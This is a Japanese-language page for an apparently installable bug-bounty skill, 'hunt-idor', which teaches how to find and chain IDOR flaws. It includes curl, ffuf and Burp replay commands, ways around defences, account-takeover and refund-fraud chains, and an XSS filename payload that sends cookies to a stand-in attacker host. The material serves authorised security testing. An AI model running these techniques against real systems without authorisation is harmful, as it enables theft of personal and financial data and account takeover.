hunt-idor について
hunt-idorは、APIやアプリケーションの不適切な直接オブジェクト参照を探すセキュリティテストスキルです。アカウント間のアクセス比較、読み書き操作のテスト、再現可能な影響の記録を扱います。
主な機能
- 01各エンドポイントのリソースIDを整理
- 02ユーザーアカウント間でリクエストを再送
- 03RESTとGraphQLの参照をテスト
- 04読み取り・書き込み・削除権限を確認
- 05クライアントコードから漏えいIDを探索
- 06影響を検証して記録
活用シーン
- 01他ユーザーの記録にアクセスできるか確認
- 02SaaSの組織間分離を評価
- 03GraphQLのクエリとミューテーションでIDORを検査
- 04不正なリソース変更を再現して記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-idorインストール後、Claude Code で/hunt-idorを入力して読み込まれたか確認します。
詳細
使用する場面
対象に、ユーザー所有のリソースを ID で参照するエンドポイントがある場合に使用します。たとえば、ユーザー/注文/請求書/メッセージの ID を含む API パス、id 引数を含む GraphQL クエリ、ファイルのダウンロードエンドポイント、マルチテナント SaaS の機能などです。IDOR は、認証を回避せずに他のユーザーのデータを直接公開するため、最も一般的で、報奨金も高い脆弱性の 1 つです。識別子を指定してリソースを表示または操作する機能は、すべて候補になります。特に価値が高い対象は、金融関連文書/請求 API、プライベートリポジトリ、ユーザーメッセージ、アカウント管理エンドポイント、テナントをまたぐビジネス/組織管理機能です。
重要な標的
IDOR の報奨金が高い理由:
- 認証を回避せずに他のユーザーのデータへ直接アクセスでき、影響が明確に実証可能です
- 権限昇格、金融詐欺、アカウント乗っ取りにつながりやすいです
- ユーザー所有のリソースを扱うほぼすべてのアプリケーションに影響します
報奨金の可能性が高い資産の種類:
| 資産の種類 | 報奨金が高い理由 |
|---|---|
| 金融関連文書/請求 API | PII と金融データの漏えい(Shopify、Uber、PayPal) |
| プライベートリポジトリ/ソースコード | 知的財産の窃取、重要データの損失(GitHub) |
| ユーザーメッセージ/DM | 大規模なプライバシー侵害(Reddit) |
| アカウント管理エンドポイント | ユーザーの追加、削除、権限昇格(PayPal、Mozilla) |
| ビジネス/組織の管理機能 | テナントをまたぐ権限昇格、従業員の PII(Uber) |
| コンテンツモデレーション/管理操作 | 運用妨害(Reddit のモデレーションログ) |
IDOR に対する報奨金が最も高いプログラム:
- マルチテナントを採用するプラットフォーム(SaaS、B2B ツール)
- フィンテックおよび決済処理サービス
- 非公開コンテンツを扱うソーシャルプラットフォーム
- 組織/リポジトリを分離する開発者向けツール
攻撃対象領域の兆候
IDOR を強く示唆する URL パターン:
/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy
レスポンスヘッダーの兆候:
- 生の ID を受け付けるエンドポイントでの
Content-Type: application/json - ID パラメーターと組み合わさった
X-Frame-Optionsの欠如、または CORS の設定ミス - ユーザー単位のスコープを持つ
Authorization: Bearerトークンで、組織レベルのリソースにアクセスできる
JavaScript ソースのパターン:
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId
技術スタックの兆候:
- GraphQL エンドポイント(クエリベースの IDOR は見落とされがちです)
- 連番の整数 ID を使用する REST API(最も脆弱です)
- 予測可能、または他のレスポンスで漏えいした UUID
org_id、account_id、business_idパラメーターを使用するマルチテナント SaaS アプリ- モバイルアプリ(APK を Burp で調査してください。モバイル API では認可チェックが省略されていることがよくあります)
手順に沿ったハンティング方法
-
アプリケーション内のすべてのオブジェクト参照をマッピングする
- User A として認証し、すべての機能を確認します
- すべてのリクエストを Burp Suite でキャプチャします
- 次の内容を含むリクエストで絞り込みます:
id=,_id=,uuid=,/v1/{noun}/{id}、数値または UUID の値を含むクエリパラメーター
-
ID の種類を列挙する
- 連番の整数 → ±1、±100 を列挙します
- UUID → 他のレスポンスや JS ファイルに出現するか確認します
- ハッシュ化された ID → 公開エンドポイント、メタデータ、GraphQL イントロスペクションに漏えいしていないか確認します
-
別々のアカウントを 2 つ作成する(権限レベルは同じ)
- User A:リソースの所有者
- User B:攻撃者アカウント
- User A として認証した状態で、User A に属するすべての ID を記録します
-
User A のリソース ID を User B として再送する
- セッション Cookie/トークンを User B の認証情報に置き換えます
- User A のオブジェクト ID を参照する同一のリクエストを送信します
- 各エンドポイントで HTTP のすべてのメソッドをテストします:GET、POST、PUT、PATCH、DELETE
-
テナント間/組織間のシナリオをテストする
- 別々の組織/事業者でアカウントを作成します
- Org B のセッションから Org A の ID を参照できるかテストします
- 管理者/管理用エンドポイントに特に注意します
-
GraphQL を個別にテストする
- イントロスペクションを実行します:
{ __schema { queryType { fields { name } } } } id引数を受け取るすべてのクエリ/ミューテーションで、別のユーザーの ID に置き換えます- クエリ(読み取り)とミューテーション(書き込み/削除)の両方をテストします
- イントロスペクションを実行します:
-
読み取りだけでなく、書き込み/破壊的操作もテストする
- User B は User A のリソースを DELETE できますか?
- User B は User A のコンテンツを変更できますか?
- User B は自分自身を User A のアカウントに追加できますか?
-
IDOR を連鎖させる
- ある IDOR で漏えいしたデータ(org ID、user ID)を次の IDOR に利用します
- IDOR → 漏えいした ID → 2 つ目の IDOR → 権限昇格
-
状態変更を伴うエッジケースをテストする
- 期限切れでも引き続き承認できるトークン/招待
- リソース ID に関する競合状態
- 間接参照:
?sort=idや?filter[user_id]=
-
差分を正確に記録する
- User B が User A のリソースに正当なアクセス権を持たないことを確認します
- 200 OK と、期待される 403/404 の違いをスクリーンショット/ログに記録します
ペイロードと検出パターン
curl を使った基本的な IDOR テスト(Cookie/トークンを置き換える):
# Get User A's resource ID while authenticated as A
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A_SESSION" \
https://target.com/api/v1/invoices/12345
# Replay with User B's session
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_B_SESSION" \
https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's data
GraphQL の IDOR テスト:
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
ffuf で連番 ID を列挙する:
ffuf -u "https://target.com/api/v1/orders/FUZZ" \
-w ids.txt \
-H "Authorization: Bearer USER_B_TOKEN" \
-mc 200 \
-o idor_results.json
連番 ID のワードリストを生成する:
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")
IDOR スキャン用の Burp Intruder ペイロード:
GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200
漏えいした ID を JavaScript からスクレイピングする:
# Find IDs in JS bundles
curl --max-time 30 --connect-timeout 10 -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
# Find object references in API responses
curl --max-time 30 --connect-timeout 10 -s -H "Cookie: session=USER_A" \
https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
ソースコードレビュー用の grep パターン:
# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .
# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
HTTP メソッドの改変による IDOR:
# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo "=== $method ==="
curl --max-time 30 --connect-timeout 10 -s -X $method \
-H "Authorization: Bearer USER_B_TOKEN" \
https://target.com/api/v1/users/USER_A_ID/profile
done
よくある根本原因
-
ORM クエリに所有権チェックがない
// VULNERABLE: fetches any record const invoice = await Invoice.findById(req.params.id); // SECURE: scopes to authenticated user const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id }); -
オブジェクト単位ではなくルート単位で認可している
- 開発者は「ユーザーはログインしているか」を確認しますが、「このユーザーはこのオブジェクトを所有しているか」は確認しません
- ミドルウェアで認証を確認しても、個々のハンドラーでは所有権の検証が省かれています
-
リクエストボディ内のクライアント提供 ID を信頼している
- モバイルアプリや SPA が POST ボディで
org_idを送信し、サーバーが呼び出し元がその組織に属しているか確認せず、そのまま使用します
- モバイルアプリや SPA が POST ボディで
-
フィールド単位の認可がない GraphQL リゾルバー
- クエリーリゾルバーが、リクエストしたユーザーに権限があるか確認せず、データベースから ID で取得します
- スキーマからリゾルバーが自動生成される場合に特によく見られます
-
HTTP メソッド間で認可に一貫性がない
- GET エンドポイントは保護されていても、同じリソースパスの POST/DELETE は保護されていません
- 異なる開発者が段階的に構築した API でよく見られます
-
関連オブジェクトを介して間接参照が公開される
- オブジェクト A(アクセス可能)に、オブジェクト B(非公開にすべき)への参照が含まれています
- 開発者は B への直接アクセスだけを保護し、A を介した間接参照は保護しません
-
競合状態と状態ベースの IDOR
- アクセス時ではなく、作成時に認可を確認しています
- 招待やトークンは、権限が取り消された後も有効なままです
-
マルチテナントの分離に関する不備
- 開発者はユーザーごとのアクセス制御を実装しても、組織間の境界を忘れることがあります
user_idのチェックはありますが、org_id/tenant_idのチェックはありません
バイパス手法
防御策:連番整数ではなく UUID を使用する
- バイパス方法:UUID は他の API レスポンス、通知メール、Webhook、GraphQL クエリー、JavaScript ソースなどから漏えいすることがよくあります
- 手法:アクセス可能なエンドポイントから UUID を収集し、制限されたエンドポイントに対して再利用します
防御策:間接参照/ハッシュ化されたオブジェクト参照
- バイパス方法:ハッシュをデコードする(多くの場合、Base64 または単純な難読化)か、別のレスポンスから元の ID を探します
- 手法:
echo "dXNlcl8xMjM0NQ==" | base64 -d→user_12345
防御策:リソースごとに短期間有効なトークンを使用する
- バイパス方法:サーバーがトークンの形式だけを検証し、紐付けを検証しない場合、トークンを別のユーザーが再利用できることがあります
- 手法:自分のトークンを使って、別のユーザーのリソース ID にアクセスします
防御策:列挙に対するレート制限
- バイパス方法:時間をかけて列挙する(5 秒に 1 リクエスト)、分散した IP を使う、または列挙を必要としない IDOR を悪用します(別の漏えい元から対象の ID をすでに知っている場合)
防御策:WHERE 句で user_id をチェックする
- バイパス方法:同じエンドポイントが別の API バージョン(
/v1/と/v2/)に存在するか確認します。認可ロジックはバージョンごとに異なることがよくあります - 手法:古い API バージョンの呼び出しがないか、JS バンドルを確認します
防御策:CORS 制限
- バイパス方法:IDOR の悪用にクロスオリジン攻撃は必要ありません。自分のセッションを使って API エンドポイントを直接テストします
防御策:サーバーサイドセッションによる「不透明な」参照
- バイパス方法:内部 ID を返すエンドポイントを探し、その ID を別の場所で使用します。API は
Locationヘッダー、エラーメッセージ、メタデータなどで ID を公開することがよくあります
防御策:一般的なパターンに対するパラメーターのフィルタリング/WAF
- バイパス方法:ネストされた JSON
{"data": {"id": "VICTIM_ID"}}、HTTP パラメーター汚染?id=own_id&id=victim_id、またはパラメーター名のバリエーションuser_id、userId、uid、accountを試します
Gate 0 の検証
レポートを書く前に、次の3つすべてに回答してください。
-
攻撃者は今、何ができますか? 具体的に記述してください。「有効なアカウントを持つ攻撃者が
/api/v1/invoices/{victim_invoice_id}に GET リクエストを送信すると、そのアカウントとの関係が一切ないにもかかわらず、名前、住所、支払額を含む被害者の請求書類一式を受け取ることができます。」 -
被害者は何を失いますか? CIA トライアドに当てはめてください。機密性(データが漏えいする)、完全性(データが改ざんされる)、可用性(データが削除される)のいずれかです。「被害者は個人的な財務記録の機密性を失います」または「被害者のコンテンツが第三者によって削除されます」のように記述してください。曖昧な回答は受け付けられません。
-
最初から始めて10分以内に再現できますか?
- 新規アカウントを2つ作成 ✓
- 被害者の ID を使った正確な HTTP リクエストを記録 ✓
- 被害者のデータを示す 200 OK レスポンス(または状態変更の確認)✓
- 既存の状態やタイミングに依存しない ✓
再現可能なデモを実施できない場合は、レポートを提出しないでください。
実際の影響の例
シナリオ1:財務データの漏えい+アカウントをまたいだ請求詐欺(Uber 型) 攻撃者が、関連する2つの IDOR を発見します。1つ目は、任意の組織のバウチャーポリシー設定を読み取るもので、組織 ID、従業員のメールアドレス一覧、支払方法が漏えいします。2つ目は、漏えいした ID を使ってバウチャーポリシーを変更できるものです。これらを組み合わせると、基本的なユーザーアカウント以上の権限がなくても、攻撃者は請求先を任意の企業アカウントに変更し、組織をまたいで従業員の PII を漏えいさせ、招待リンクを乗っ取ることができます。影響:B2B プラットフォーム全体での金銭詐欺+大規模な PII 漏えい。
シナリオ2:移行エンドポイントの IDOR によるプライベートリポジトリの読み取り(GitHub 型)
移行機能では、ユーザーが移行ジョブにファイルをアップロードできます。migration_id パラメーターは、認証済みユーザーがその移行ジョブを所有しているか検証されません。攻撃者は自分の移行ジョブを作成して ID の形式を確認し、別のユーザーのプライベートな移行 ID に差し替えます。これにより、アクセス権のないプライベートリポジトリのソースコードファイルを読み取れるようになります。影響:プライベートな知的財産の機密性が完全に侵害されます。
シナリオ3:メッセージ IDOR を利用したアカウント乗っ取りの連鎖(Reddit 型)
攻撃者は、メッセージング API エンドポイントの thread_id を差し替え、別のユーザーのプライベートなメッセージスレッドにアクセスします。レスポンスには、メッセージ本文やメタデータに加え、重要なことに、内部メッセージで送信されたセッションまたは認証トークンが含まれています。攻撃者はメッセージ内で見つけたトークンを利用してアカウント復旧手続きを行い、読み取りのみの IDOR を完全なアカウント乗っ取りに発展させます。影響:標的ユーザーのアカウントが大規模に完全侵害されます。
チェーンと組み合わせ(上級者向けの探索)
単独の IDOR によるテナントをまたいだ 読み取り は、低〜中程度の報奨金にとどまります。本当に価値があるのは、通常はテナントをまたいだ操作を許可しない 状態変更 のプリミティブに IDOR をつなげ、「被害者のデータを見られる」状態から「被害者のアカウントを自分のものにする」状態へと変えることです。以下の6つのチェーンは、現代のバグ報奨金プログラムで最も高額な報奨金につながる IDOR の組み合わせです。
チェーン1 — /api/users/{id}/email の IDOR +再認証の欠如 → パスワードリセット → ATO
- A. メールアドレス変更エンドポイントで IDOR を確認します。攻撃者のセッションから
PUT /api/users/{victim_id}/email {"email":"attacker@evil"}をリクエストします。サーバーは所有権を確認せず、被害者のメールアドレスを変更します。 - B. 被害者のアカウントでパスワードリセットフローを実行します。サーバーはリセットリンクを新しいメールアドレス(攻撃者のメールアドレス)に送信します。
- C. リセットリンクを開き、新しいパスワードを設定して、被害者としてログインします。
- 影響: 気付かれない ATO です。メールアドレスの変更はユーザー向けの「メールアドレスを変更」UI ではなく API 経由で行われるため、変更にはその UI 独自の監査ログが記録されず、被害者にも通知されません。
- 実際のパターン: 2018〜2024年に多くの SaaS のバグ報奨金開示で見られた、典型的な ATO パターンです。
hunt-atoのパス2(再認証なしのメールアドレス変更)を参照してください。
チェーン 2 — ファイルダウンロードの IDOR + ファイル名で制御される Content-Disposition → ダウンロード経由の反射型 XSS → セッション窃取
- A.
/api/files/{id}/downloadの IDOR により、ID を指定すると任意のユーザーのファイルが返されます。 - B. ダウンロードエンドポイントは、改行や引用符をサニタイズせずに
Content-Disposition: attachment; filename="<user-supplied-filename>"を設定します。攻撃者はファイル名を"; <script>fetch('https://attacker/x?c='+document.cookie)</script>; foo.txtにしてファイルをアップロードします。 - C. 被害者がダウンロードページに移動すると、ブラウザーはレスポンスヘッダーのコンテキストに挿入されたスクリプトを HTML として解釈し、同一オリジンで JS が実行され、Cookie/トークンが外部に流出します。
- 影響: IDOR とファイル名で制御されるレスポンスヘッダーによるアカウント乗っ取り。どちらの脆弱性も単独では重大ではありませんが、組み合わせると重大になります。
- 実際の事例: Office 365 SharePoint のダウンロードエンドポイント、GitLab の添付ファイルダウンロード、SaaS のエクスポートエンドポイントに関する複数の公開事例があります。
hunt-xssチェーン 1(レスポンスヘッダー型 XSS)と組み合わせられます。
チェーン 3 — GraphQL node(id:) の GID と Relay のリレーション探索を介した IDOR → テナントをまたぐ大規模なデータ抽出
- A. 対象は、Relay 形式のグローバル ID(
gid://shopify/Customer/<n>や base64 でエンコードされたtype:idのパターン)を使う GraphQL を採用しています。 - B.
node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }— トップレベルのnode()リゾルバーはリクエスト元を認証しますが、ネストされたリレーションは、解決された Customer に対する所有権を再確認しません。 - C. ID を反復処理し(base64 をデコードして数値を取り出し、インクリメントする)、顧客全体のメールアドレス、注文合計、支払い方法を外部に流出させます。
- 影響: テナントをまたぐ大量の個人情報/金融データの抽出。単一の脆弱性でデータベース全体にアクセスできます。
- 実際の事例: Shopify Billing IDOR H1 #2207248($5,000);HackerOne PolicyPageAssetGroup IDOR H1 #1618347($25,000)。
hunt-graphqlの公開レポート引用 #5 と #2 を参照してください。
チェーン 4 — /api/teams/{id}/members の IDOR + リクエストボディの一括割り当て → 被害者チームでのロール昇格
- A. 一般的な水平 IDOR です。
POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"}により、所有権を確認せず、攻撃者が通常のメンバーとして追加されます。 - B. リクエストボディは、API がフィルタリングしていない追加フィールドを受け入れます。
{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}のようにすると、ロールフィールドに一括割り当てが反映されます。 - C. 攻撃者は被害者チームの OWNER として追加されます。被害者チームのリソースへの完全な管理者アクセス権を得て、実際の所有者を削除できます。
- 影響: IDOR と一括割り当てによるテナントをまたぐ権限昇格。SaaS のチーム管理 API で最も効率的な乗っ取りチェーンです。
- 実際の事例: Shopify の非公開
fileCopyミューテーション H1 #981472(2020 年、$2,000);Stripe のUpdateAtlasApplicationPersonテナント間ミューテーション H1 #1066203(2020 年)。hunt-graphqlの公開レポート引用 #7 と #8 を参照してください。一括割り当てのセクションではhunt-api-misconfigと組み合わせられます。
チェーン 5 — 論理削除の IDOR + 削除後もトークンが有効 → テナントをまたぐ継続的なアクセス
- A.
active=falseフラグを切り替えるだけで、セッション/PAT を無効化しない「メンバー削除」エンドポイントを特定します。 - B. 削除予定のユーザーとしてログインし、セッション Cookie または PAT を取得します。
- C. 組織の管理者に通常の手順でユーザーを削除してもらいます。その後、しばらく待ちます。取得したトークンを使って API 呼び出しを再実行すると、IDOR が「時間依存」になります(ポリシーテーブル上ではユーザーに権限がなくなっていますが、キャッシュされた認証コンテキストは引き続き有効です)。
- 影響: 退職後も数週間にわたってテナントをまたぐアクセスが可能となり、GDPR/CCPA 違反のリスクが生じます。恐喝の材料として利用される可能性もあります。
- 実際の事例: Shopify の削除済みスタッフによるアクセス継続の事例(2022 年)。同じ根本原因のパターンで、起点となる脆弱性が異なる
hunt-miscチェーン 1 を参照してください。
チェーン 6 — 二重 IDOR(/users/{id}/orders → /orders/{order_id}/refund)→ 被害を受ける加盟店への金銭的影響
- A. 1つ目の IDOR:
GET /api/users/{victim_id}/ordersは所有権を確認せずに被害者の注文一覧を返すため、有効なorder_idの値が得られます。 - B. 2つ目の IDOR:
POST /api/orders/{order_id}/refundは、リクエスト送信者が加盟店または注文を所有しているか確認せずに返金を実行します。 - C. 被害を受ける加盟店の最近の各注文について返金を実行します。資金が加盟店から顧客(この顧客も攻撃者の管理下にあります)へ移動します。
- 影響: 被害を受ける加盟店に直接的な金銭的損失が発生します。プラットフォーム上の加盟店全体を対象に大規模な悪用が可能です。
- 実際の事例: 2019~2023年に複数の電子商取引プラットフォームで開示された IDOR チェーンです。関連項目は
hunt-business-logicのチェーン(状態遷移の混乱による金銭的影響)を参照してください。
オペレーター向けのパターン
A で読み取り IDOR を確認したら、すぐに次の点を確認してください。同じ ID を受け入れる状態変更処理のうち、IDOR の可能性があるものは何か? このチェーンは通常、次のいずれかです。(1)最終ステップでのパスワードリセット/メールアドレス変更 → アカウント乗っ取り、(2)返金/出金/送金 → 金銭的被害、(3)ロール変更/メンバー追加 → 権限昇格。読み取り IDOR がこれらのいずれにもつながらない場合、得られる報奨は単独でのものになります。両方を探してください。2つ目は1つ目と同じ認証バグの種類を共有しているため、見つけやすいことがよくあります。
関連項目:
hunt-ato— チェーン 1、5hunt-xss— チェーン 2hunt-graphql— チェーン 3、4hunt-misc— チェーン 5hunt-business-logic— チェーン 6
検証
このセルフテストを実行して、IDOR の探索準備が整っていることを確認してください。
-
スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。
grep -q "name: hunt-idor" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリが設定されていることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
落とし穴のセクション — 落とし穴が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3つのテストすべてで、スキルが適切に構成され、使用準備が整っていることを確認します。
落とし穴
- UUID ベースの IDOR — UUID は推測できないため、他のユーザーの既知の UUID を読み取れる場合でも、その UUID 自体が漏えいしている場合に限り IDOR となります。漏えい元を記録してください。
- 機密データを含まない読み取り専用 IDOR — IDOR を介して他のユーザーの公開プロフィールにアクセスできる場合、深刻度は低です。PII、認証情報、または非公開データが必要です。
- 自己 IDOR — 自分が所有する別の識別子を使って自分のデータにアクセスすることは IDOR ではありません。アカウントをまたいだアクセスが必要です。
- 公開リソースに対する IDOR — リソースが意図的に公開されている(設計上、認証チェックがない)場合、IDOR は存在しません。認証が必要とされていたか確認してください。
- CSRF を伴わない POST/PUT IDOR — 書き込み IDOR には CSRF の攻撃経路が必要です。または、攻撃者が被害者のセッションを入手する必要があります。単独で悪用できる場合と、チェーンによる悪用可能性を区別してください。
関連するスキルとチェーン
hunt-auth-bypass— オブジェクトレベルの認可不備とルートレベルの認証不備が組み合わさると、典型的な IDOR 増幅要因になります。チェーンのプリミティブ:ORM クエリにreq.user.idによるスコープ指定がなく、レガシーな/v1/ルートにミドルウェアもないため、ID を直接置き換えるだけで、認証なしにテナントをまたいでデータを読み取れます → セッションがまったくなくても、PII を一括ダンプできます。hunt-ato— プロフィール編集の IDOR は、「他人のデータを読む」ことから「その人のアカウントを乗っ取る」ことへ至る最も直接的な経路です。チェーンのプリミティブ:PATCH /api/users/{victim_uid}が攻撃者のセッションと被害者の UID を受け付けます →[email protected]を設定します → パスワードリセットを実行します → リセットリンクが攻撃者に届きます → 被害者の認証情報を一度も知らずに、完全な ATO が成立します。hunt-graphql— フィールドレベルの認可がない GraphQL リゾルバーは、デフォルトで IDOR になり、イントロスペクションによってスキーマが明らかになります。チェーンのプリミティブ:__schemaのイントロスペクション →id:引数を受け付けるすべてのミューテーションを列挙します →updateUser、deleteOrg、transferBillingミューテーションで被害者の ID に置き換えます → 1 回のイントロスペクションクエリから IDOR を大量に横展開できます。security-arsenal— HTTP パラメータ汚染ペイロード(?id=own&id=victim)、ネストされた JSON ラッパー({"data":{"id":"VICTIM"}})、パラメーター名のバリエーション(uid/userId/user_id/account)をまとめた「IDOR Bypass Tables」セクションを参照してください。最初の直接置換で 403 が返された場合に役立ちます。triage-validation— 200 が返るものの実際にはデータが漏えいしない IDOR(空の配列、マスキングされたフィールド、ステータスコードは 200 でも本文に「アクセスが拒否されました」とある場合)を Critical と報告する前に、Pre-Severity Gate を実行してください。200 が返ってもデータがない IDOR は、H1/Bugcrowd で N/A となる最大の要因です。
フェーズ X — チャネル横断型 IDOR
GraphQL IDOR:mutation { updateUser(id: VICTIM_ID) { success } } — 別のトランスポート経由で同じ操作を実行すると、REST ミドルウェアを回避する場合があります。
WebSocket IDOR:WS 経由で送信されたアクションは、REST の認可を完全に回避する場合があります。
キャッシュキーの混同:CDN がユーザー固有のレスポンスを共有キーでキャッシュし、ユーザー間でデータが漏えいします。